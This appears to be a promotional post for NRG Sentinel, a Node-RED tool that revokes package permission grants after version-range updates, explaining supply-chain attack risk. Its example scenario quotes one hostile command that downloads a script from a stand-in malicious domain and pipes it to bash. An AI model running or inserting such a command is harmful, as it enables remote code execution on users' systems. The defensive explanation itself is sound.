Sentinel enforces strict dependency governance by automatically revoking grants for packages and nodes that use version ranges such as ~ or ^. This forces teams to explicitly review and approve updates instead of passively inheriting them, significantly reducing exposure to supply chain attacks originating from otherwise trusted dependencies.
The core risk is simple: if grants are not revoked, compromised “trusted” packages become a silent attack vector. An attacker can push a malicious update that propagates automatically through version ranges, leveraging existing trust to execute downstream attacks without immediate detection.
Sentinel mitigates this by introducing a control model similar to JWT expiration—trust is not permanent. Access must be continuously revalidated, ensuring that no package retains implicit, long-lived privileges that could be exploited.
This approach is fundamentally different from simply removing ~ or ^ and locking dependency versions. Locking freezes the system, but it also cuts off the natural flow of updates—forcing teams to choose between security and velocity. Sentinel takes a different path: it operates as a runtime control layer, effectively acting as a firewall for your dependency graph. Instead of blocking updates, it allows them to flow but revokes trust (grants) by default, requiring explicit review before those updates can execute with privileges. The result is a controlled pipeline where developers continue to benefit from upstream improvements, while every change is treated as untrusted until validated—shifting from static locking to continuous verification.
Consider a real-world scenario in a Node-RED environment. A widely used community node—let’s say it wraps a CLI tool to transform images or process files—previously required process.exec to invoke a local binary. That permission was granted and trusted over time because the package had a clean track record.
Now imagine a seemingly harmless patch release (e.g., 1.2.3 → 1.2.4). Hidden inside that update, a compromised maintainer account or injected dependency adds a small piece of code that executes a shell command like:
curl -s https://malicious-domain.com/payload.sh | bash
Because the node already had process.exec granted, the new version inherits that privilege without friction. No alarms, no friction—just silent execution. At that point, the attacker can exfiltrate environment variables, deploy a reverse shell, or pivot deeper into the system.
With Sentinel, that chain is broken. The moment the package updates—even within a ~ or ^ range—its grants are revoked. The node can still be installed and evaluated, but it cannot execute privileged operations until those permissions are explicitly re-approved. That forces a review step exactly where it matters: at the moment trust could be exploited. Instead of blindly inheriting past trust, every update must re-earn it, shutting down the attacker’s ability to weaponize previously granted capabilities.
Sentinel can be found here: NRG Sentinel — Runtime Security for Node-RED
